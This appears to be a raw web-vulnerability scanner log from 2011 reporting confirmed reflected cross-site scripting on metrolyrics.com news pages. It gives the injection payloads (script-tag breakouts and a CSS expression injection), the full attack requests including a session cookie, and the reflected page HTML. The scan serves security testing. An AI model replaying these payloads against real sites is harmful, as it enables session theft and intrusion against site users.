<input type="text" name="search" onclick="if (this.value == 'Find Your Lyrics, Artists, Videos, more...') this.value='';_gaq.push(['_trackEvent', 'Search', 'Header Main Click']);" value="Find Your Lyrics, Artists, Videos, more..." onblur="if(this.value == '') this.value='Find Your Lyrics, Artists, Videos, more...'" id="hdr-ipsearch" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-btnsearch" />
</form>
<p id="hdr-browse"></p>
</div>
</div>
</div>
<div id="headerbot">
<div class="headerwrap">
<p id="breadcrumbs">
<a href="/" id="bc-home" title="Home">Home</a> »
<a href="#" id="bc-tab"></a>
</p>
</div>
</div>
<div id="headerad">
<div id="hdrleaderboard">
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_728x90;tile=2;sz=728x90;ord=1299460904?"></script>
</div>
<div id="hdrsocial">
<div class="addthis_default_style">
<a class="addthis_button_facebook_like" fb:like:layout="box_count" fb:like:width="48" fb:like:height="63" addthis:url="http://www.facebook.com/metrolyrics"></a>
<a class="addthis_button_tweet" tw:count="vertical" addthis:url="http://www.metrolyrics.com"></a>
<a class="addthis_counter"></a>
</div>
</div>
</div>
<div id="headercta"><a href="/register.php" title="Join MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Header', 'Join Community Image']);">Join the MetroLyrics Community Today!</a></div>
</div>
<div id="main">
<div id="LRcolumns">
<div id="left">
<div id="Acolumn">
<div id="navLeft">
<img src="http://artists.ml-cdn.com/profile/6747KylieMinogueProfile.jpg" alt="Kylie Minogue" width="166" />
<h2><a href="kylie-minogue-overview.html" title="Kylie Minogue Overview">Kylie Minogue</a></h2>
<p class="addtofav">
<a href="request.php?dothis=become_a_fan&artistid=6747" title="Add to My Favorites">Add to My Favorites</a>
</p>
<ul id="artistnav" title="News-int/kylie-minogue/6747/0">
<li><a title="Kylie Minogue Overview" href="/kylie-minogue-overview.html" >Overview</a></li>
<li><a title="Kylie Minogue News" href="/kylie-minogue-gossip-news.html" >News</a></li>
<li><a title="Kylie Minogue Awards" href="/kylie-minogue-awards-featured.html" >Awards</a></li>
<li><a title="Kylie Minogue Albums" href="/kylie-minogue-albums-list.html" >Albums</a></li>
<li><a title="Kylie Minogue Lyrics" href="/kylie-minogue-lyrics.html" >Lyrics</a></li>
<li><a title="Kylie Minogue Videos" href="/kylie-minogue-music-videos.html" >Videos</a></li>
<li><a title="Kylie Minogue Pictures" href="/kylie-minogue-pictures.html" >Pictures</a></li>
</ul>
</div>
<div class="module" id="ipod"><script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_160x600;tile=4;sz=160x600;ord=1299460904?"></script></div>
<div class="module"><div id="jqpollwrapper">
<div id="jqpoll">
<div id="jqpollhdr"><h4><span class="icoPoll"> </span>Poll</h4></div>
<div id="jqpollbody">
<p>Have you downloaded our iPhone app?</p>
<ul id="pollresults">
<li style="display:none"></li>
<li><input type="radio" name=&..
- /2011-phil-collins-quits-music-business-news.html
/2011-phil-collins-quits-music-business-news.html
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
Query Based
|
QUERYSTRING
|
'"--></style></script><script>alert(0x00078E)</script>
|
Request
GET /2011-phil-collins-quits-music-business-news.html?'"--></style></script><script>netsparker(0x00078E)</script> HTTP/1.1
Referer: http://www.metrolyrics.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460445; bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f; bblastactivity=1299460453
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.2
Pragma: private
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 10153
Cache-Control: private, max-age=3600
Date: Mon, 07 Mar 2011 01:21:45 GMT
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:addthis="http://www.addthis.com/help/api-spec" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="classification" content="music" />
<meta name="description" content="Phil Collins quits music business News about Phil Collins" />
<meta name="keywords" content="Phil Collins quits music business" />
<meta property="fb:page_id" content="81914997331" />
<title>PHIL COLLINS QUITS MUSIC BUSINESS</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="search" type="application/opensearchdescription+xml" title="metrolyrics" href="/tools/ff_search_bar.xml" />
<link href="/xml/justreleased.xml" rel="alternate" type="application/rss+xml" title="Recently Released Albums" />
<link href="/xml/futurerelease.xml" rel="alternate" type="application/rss+xml" title="Upcoming Album Releases" />
<link href="/xml/topartists.xml" rel="alternate" type="application/rss+xml" title="Top 20 Artists This Week" />
<link href="/xml/topsongs.xml" rel="alternate" type="application/rss+xml" title="Top 20 Lyrics This Week" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--//
//variables
var noEgg = false;
var nav={"activeTab":"news","section":"Phil Collins","sectionURL":"phil-collins-lyrics.html","title":"Phil Collins quits music business"},
//Set dev server flag
is_dev = false,
//Analytics vars
_comscore = _comscore || [],
_gaq = _gaq || [];
//end analytics vars
//end variables
//start comscore tag
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
_gaq.push(
['_setAccount', 'UA-50802-1'],
['_setCustomVar',1,"User Group ID",1,2],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<link href="/css/g/artist_v2_sprite.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]>
<script type="text/javascript" src="/js/iepngfix_tilebg.js"></script>
<![endif]-->
<script type="text/javascript">
__compete_code = '1980f0cd513fe80da3622c2ebed79163';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0],
t = document.location.protocol.toLowerCase() === 'https:' ?
'https://c.compete.com/bootstrap/' :
'http://c.compete.com/bootstrap/';
s.src = t + __compete_code + '/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
if (e) { e.parentNode.insertBefore(s, e); }
}());
</script>
<!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-c4eKHIvvd1eXQ"
});
</script>
<noscript>
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-c4eKHIvvd1eXQ.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
</head>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_1x1;tile=1;sz=1x1;ord=1299460905?"></script>
<div id="header">
<h1>Phil Collins quits music business</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=metroleap"></script>
<ul>
<li class="first"><img src="http://misc.ml-cdn.com/images/n2/loading_inline.gif" alt="Loading..." /></li>
</ul>
</div>
<div id="hdr-scrollsearch">
<form action="/search.php" method="get">
<input type="text" name="search" onclick="_gaq.push(['_trackEvent', 'Search', 'Header Dropdown Click']);if (this.value == 'Search ...') this.value=''" value="Search ..." onblur="if(this.value == '') this.value='Search ...'" id="hdr-scrollsearchip" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-scrollsearchbtn" />
</form>
</div>
</div>
<div id="headertop">
<div class="headerwrap">
<ul id="navmain">
<li id="hdr-lyrics" class="navprimaryli" data-tabname="lyrics">
<a href="/" class="navprimarya" title="Lyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Lyrics']);"><span></span>Lyrics</a>
<div id="hdr-sub-lyrics" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-artists" class="navprimaryli" data-tabname="artists">
<a href="/top-artists.html" title="Artists" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Artists']);"><span></span>Artists</a>
<div id="hdr-sub-artists" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-soundtracks" class="navprimaryli" data-tabname="soundtracks">
<a href="/soundtracks.html" title="soundtracks" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Soundtracks']);"><span></span>Soundtracks</a>
<div id="hdr-sub-soundtracks" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-news" class="navprimaryli" data-tabname="news">
<a href="/news.html" title="News" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'News']);"><span></span>News</a>
<div id="hdr-sub-news" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-apps" class="navprimaryli" data-tabname="apps">
<a href="/apps.html" title="Apps" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Apps']);"><span></span>Apps</a>
<div id="hdr-sub-apps" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-forum" class="navprimaryli" data-tabname="forum">
<a href="/forum/" title="Forum" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Forum']);"><span></span>Forum</a>
<div id="hdr-sub-forum" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-driver" class="navprimaryli">
<a href="http://itunes.apple.com/us/app/metrolyrics-pro/id370144420?mt=8" target="_blank" rel="nofollow" title="Get our iPhone App" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Driver Click', 'metrolyrics Pro App']);">Contests</a>
</li>
</ul>
<ul id="myml">
<li class="navprimaryli"><a href="/request.php" title="My MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'My MetroLyrics', 'Not logged in']);">My MetroLyrics<span></span></a></li>
<li class="navprimaryli"><div id="fb_login_btn"><fb:login-button size="small" perms="email"></fb:login-button></div><div id="fb-root"></div></li>
<li class="myml-alt myml-altfirst navprimaryli"><a href="/register.php" title="Sign Up for MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Sign Up']);">Sign Up</a></li>
<li class="myml-alt navprimaryli"><a rel="nofollow" id="login_link" class="iframe" href="/login.php" title="Login" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Log In']);">Log In</a></li>
</ul>
</div>
</div>
<div id="headermid">
<div class="headerwrap">
<div id="headerlogo"><a href="/" title="Home">MetroLyrics</a></div>
<div id="headersearch">
<form method="get" action="/search.php">
<input type="hidden" name="category" value="artisttitle" />
<input type="text" name="search" onclick="if (this.value == 'Find Your Lyrics, Artists, Videos, more...') this.value='';_gaq.push(['_trackEvent', 'Search', 'Header Main Click']);" value="Find Your Lyrics, Artists, Videos, more..." onblur="if(this.value == '') this.value='Find Your Lyrics, Artists, Videos, more...'" id="hdr-ipsearch" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-btnsearch" />
</form>
<p id="hdr-browse"></p>
</div>
</div>
</div>
<div id="headerbot">
<div class="headerwrap">
<p id="breadcrumbs">
<a href="/" id="bc-home" title="Home">Home</a> »
<a href="#" id="bc-tab"></a>
</p>
</div>
</div>
<div id="headerad">
<div id="hdrleaderboard">
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_728x90;tile=2;sz=728x90;ord=1299460905?"></script>
</div>
<div id="hdrsocial">
<div class="addthis_default_style">
<a class="addthis_button_facebook_like" fb:like:layout="box_count" fb:like:width="48" fb:like:height="63" addthis:url="http://www.facebook.com/metrolyrics"></a>
<a class="addthis_button_tweet" tw:count="vertical" addthis:url="http://www.metrolyrics.com"></a>
<a class="addthis_counter"></a>
</div>
</div>
</div>
<div id="headercta"><a href="/register.php" title="Join MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Header', 'Join Community Image']);">Join the MetroLyrics Community Today!</a></div>
</div>
<div id="main">
<div id="LRcolumns">
<div id="left">
<div id="Acolumn">
<div id="navLeft">
<img src="http://artists.ml-cdn.com/profile/9409PhilCollinsProfile.jpg" alt="Phil Collins" width="166" />
<h2><a href="phil-collins-overview.html" title="Phil Collins Overview">Phil Collins</a></h2>
<p class="addtofav">
<a href="request.php?dothis=become_a_fan&artistid=9409" title="Add to My Favorites">Add to My Favorites</a>
</p>
<ul id="artistnav" title="News-int/phil-collins/9409/0">
<li><a title="Phil Collins Overview" href="/phil-collins-overview.html" >Overview</a></li>
<li><a title="Phil Collins News" href="/phil-collins-gossip-news.html" >News</a></li>
<li><a title="Phil Collins Awards" href="/phil-collins-awards-featured.html" >Awards</a></li>
<li><a title="Phil Collins Albums" href="/phil-collins-albums-list.html" >Albums</a></li>
<li><a title="Phil Collins Lyrics" href="/phil-collins-lyrics.html" >Lyrics</a></li>
<li><a title="Phil Collins Videos" href="/phil-collins-music-videos.html" >Videos</a></li>
<li><a title="Phil Collins Pictures" href="/phil-collins-pictures.html" >Pictures</a></li>
</ul>
</div>
<div class="module" id="ipod"><script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_160x600;tile=4;sz=160x600;ord=1299460905?"></script></div>
<div class="module"><div id="jqpollwrapper">
<div id="jqpoll">
<div id="jqpollhdr"><h4><span class="icoPoll"> </span>Poll</h4></div>
<div id="jqpollbody">
<p>Have you downloaded our iPhone app?</p>
<ul id="pollresults">
<li style="display:none"></li>
<li><input type="radio" name="poll" value="5_18" />Yes! Love It</li><li><input type="radio" name="poll" value="5_..
- /2011-carl-barat-says-libertines-wont-perform-at-glastonbury-news.html
/2011-carl-barat-says-libertines-wont-perform-at-glastonbury-news.html
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
nsextt
|
GET
|
" stYle=x:expre/**/ssion(alert(9)) ns="
|
Request
GET /2011-carl-barat-says-libertines-wont-perform-at-glastonbury-news.html?nsextt=%22%20stYle=x:expre/**/ssion(netsparker(9))%20ns=%22 HTTP/1.1
Referer: http://www.metrolyrics.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460445; bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f; bblastactivity=1299460453
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Server: LiteSpeed
X-Powered-By: PHP/5.3.2
Pragma: private
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 9703
Cache-Control: private, max-age=3600
Date: Mon, 07 Mar 2011 01:21:50 GMT
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:addthis="http://www.addthis.com/help/api-spec" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="classification" content="music" />
<meta name="description" content="Carl Barat says Libertines won't perform at Glastonbury News about Carl Barat" />
<meta name="keywords" content="Carl Barat says Libertines won't perform at Glastonbury" />
<meta property="fb:page_id" content="81914997331" />
<title>CARL BARAT SAYS LIBERTINES WON'T PERFORM AT GLASTONBURY</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="search" type="application/opensearchdescription+xml" title="metrolyrics" href="/tools/ff_search_bar.xml" />
<link href="/xml/justreleased.xml" rel="alternate" type="application/rss+xml" title="Recently Released Albums" />
<link href="/xml/futurerelease.xml" rel="alternate" type="application/rss+xml" title="Upcoming Album Releases" />
<link href="/xml/topartists.xml" rel="alternate" type="application/rss+xml" title="Top 20 Artists This Week" />
<link href="/xml/topsongs.xml" rel="alternate" type="application/rss+xml" title="Top 20 Lyrics This Week" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--//
//variables
var noEgg = false;
var nav={"activeTab":"news","section":"Carl Barat","sectionURL":"carl-barat-lyrics.html","title":"Carl Barat says Libertines won't perform at Glastonbury"},
//Set dev server flag
is_dev = false,
//Analytics vars
_comscore = _comscore || [],
_gaq = _gaq || [];
//end analytics vars
//end variables
//start comscore tag
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
_gaq.push(
['_setAccount', 'UA-50802-1'],
['_setCustomVar',1,"User Group ID",1,2],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<link href="/css/g/artist_v2_sprite.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]>
<script type="text/javascript" src="/js/iepngfix_tilebg.js"></script>
<![endif]-->
<script type="text/javascript">
__compete_code = '1980f0cd513fe80da3622c2ebed79163';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0],
t = document.location.protocol.toLowerCase() === 'https:' ?
'https://c.compete.com/bootstrap/' :
'http://c.compete.com/bootstrap/';
s.src = t + __compete_code + '/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
if (e) { e.parentNode.insertBefore(s, e); }
}());
</script>
<!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-c4eKHIvvd1eXQ"
});
</script>
<noscript>
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-c4eKHIvvd1eXQ.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
</head>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_1x1;tile=1;sz=1x1;ord=1299460910?"></script>
<div id="header">
<h1>Carl Barat says Libertines won't perform at Glastonbury</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=metroleap"></script>
<ul>
<li class="first"><img src="http://misc.ml-cdn.com/images/n2/loading_inline.gif" alt="Loading..." /></li>
</ul>
</div>
<div id="hdr-scrollsearch">
<form action="/search.php" method="get">
<input type="text" name="search" onclick="_gaq.push(['_trackEvent', 'Search', 'Header Dropdown Click']);if (this.value == 'Search ...') this.value=''" value="Search ..." onblur="if(this.value == '') this.value='Search ...'" id="hdr-scrollsearchip" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-scrollsearchbtn" />
</form>
</div>
</div>
<div id="headertop">
<div class="headerwrap">
<ul id="navmain">
<li id="hdr-lyrics" class="navprimaryli" data-tabname="lyrics">
<a href="/" class="navprimarya" title="Lyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Lyrics']);"><span></span>Lyrics</a>
<div id="hdr-sub-lyrics" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-artists" class="navprimaryli" data-tabname="artists">
<a href="/top-artists.html" title="Artists" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Artists']);"><span></span>Artists</a>
<div id="hdr-sub-artists" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-soundtracks" class="navprimaryli" data-tabname="soundtracks">
<a href="/soundtracks.html" title="soundtracks" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Soundtracks']);"><span></span>Soundtracks</a>
<div id="hdr-sub-soundtracks" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-news" class="navprimaryli" data-tabname="news">
<a href="/news.html" title="News" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'News']);"><span></span>News</a>
<div id="hdr-sub-news" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-apps" class="navprimaryli" data-tabname="apps">
<a href="/apps.html" title="Apps" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Apps']);"><span></span>Apps</a>
<div id="hdr-sub-apps" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-forum" class="navprimaryli" data-tabname="forum">
<a href="/forum/" title="Forum" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Forum']);"><span></span>Forum</a>
<div id="hdr-sub-forum" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-driver" class="navprimaryli">
<a href="http://itunes.apple.com/us/app/metrolyrics-pro/id370144420?mt=8" target="_blank" rel="nofollow" title="Get our iPhone App" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Driver Click', 'metrolyrics Pro App']);">Contests</a>
</li>
</ul>
<ul id="myml">
<li class="navprimaryli"><a href="/request.php" title="My MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'My MetroLyrics', 'Not logged in']);">My MetroLyrics<span></span></a></li>
<li class="navprimaryli"><div id="fb_login_btn"><fb:login-button size="small" perms="email"></fb:login-button></div><div id="fb-root"></div></li>
<li class="myml-alt myml-altfirst navprimaryli"><a href="/register.php" title="Sign Up for MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Sign Up']);">Sign Up</a></li>
<li class="myml-alt navprimaryli"><a rel="nofollow" id="login_link" class="iframe" href="/login.php" title="Login" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Log In']);">Log In</a></li>
</ul>
</div>
</div>
<div id="headermid">
<div class="headerwrap">
<div id="headerlogo"><a href="/" title="Home">MetroLyrics</a></div>
<div id="headersearch">
<form method="get" action="/search.php">
<input type="hidden" name="category" value="artisttitle" />
<input type="text" name="search" onclick="if (this.value == 'Find Your Lyrics, Artists, Videos, more...') this.value='';_gaq.push(['_trackEvent', 'Search', 'Header Main Click']);" value="Find Your Lyrics, Artists, Videos, more..." onblur="if(this.value == '') this.value='Find Your Lyrics, Artists, Videos, more...'" id="hdr-ipsearch" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-btnsearch" />
</form>
<p id="hdr-browse"></p>
</div>
</div>
</div>
<div id="headerbot">
<div class="headerwrap">
<p id="breadcrumbs">
<a href="/" id="bc-home" title="Home">Home</a> »
<a href="#" id="bc-tab"></a>
</p>
</div>
</div>
<div id="headerad">
<div id="hdrleaderboard">
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_728x90;tile=2;sz=728x90;ord=1299460910?"></script>
</div>
<div id="hdrsocial">
<div class="addthis_default_style">
<a class="addthis_button_facebook_like" fb:like:layout="box_count" fb:like:width="48" fb:like:height="63" addthis:url="http://www.facebook.com/metrolyrics"></a>
<a class="addthis_button_tweet" tw:count="vertical" addthis:url="http://www.metrolyrics.com"></a>
<a class="addthis_counter"></a>
</div>
</div>
</div>
<div id="headercta"><a href="/register.php" title="Join MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Header', 'Join Community Image']);">Join the MetroLyrics Community Today!</a></div>
</div>
<div id="main">
<div id="LRcolumns">
<div id="left">
<div id="Acolumn">
<div id="navLeft">
<img src="http://artists.ml-cdn.com/profile/maf.gif" alt="Carl Barat" width="166" />
<h2><a href="carl-barat-overview.html" title="Carl Barat Overview">Carl Barat</a></h2>
<p class="addtofav">
<a href="request.php?dothis=become_a_fan&artistid=1298501804" title="Add to My Favorites">Add to My Favorites</a>
</p>
<ul id="artistnav" title="News-int/carl-barat/1298501804/0">
<li><a title="Carl Barat Overview" href="/carl-barat-overview.html" >Overview</a></li>
<li><a title="Carl Barat News" href="/carl-barat-gossip-news.html" >News</a></li>
<li><a title="Carl Barat Awards" href="/carl-barat-awards-featured.html" >Awards</a></li>
<li><a title="Carl Barat Albums" href="/carl-barat-albums-list.html" >Albums</a></li>
<li><a title="Carl Barat Lyrics" href="/carl-barat-lyrics.html" >Lyrics</a></li>
<li><a title="Carl Barat Videos" href="/carl-barat-music-videos.html" >Videos</a></li>
<li><a title="Carl Barat Pictures" href="/carl-barat-pictures.html" >Pictures</a></li>
</ul>
</div>
<div class="module" id="ipod"><script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_160x600;tile=4;sz=160x600;ord=1299460910?"></script></div>
<div class="module"><div id="jqpollwrapper">
<div id="jqpoll">
<div id="jqpollhdr"><h4><span class="icoPoll"> </span>Poll</h4></div>
<div id="jqpollbody">
<p>Have you downloaded our iPhone app?</p>
<ul id="pollresults">
<li style="display:none"></li>
<li><input type="radio" name="poll" valu..
- /2011-miley-cyrus-plays-lindsay-lohan-on-snl-news.html
/2011-miley-cyrus-plays-lindsay-lohan-on-snl-news.html
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
Query Based
|
QUERYSTRING
|
'"--></style></script><script>alert(0x000793)</script>
|
Request
GET /2011-miley-cyrus-plays-lindsay-lohan-on-snl-news.html?'"--></style></script><script>netsparker(0x000793)</script> HTTP/1.1
Referer: http://www.metrolyrics.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
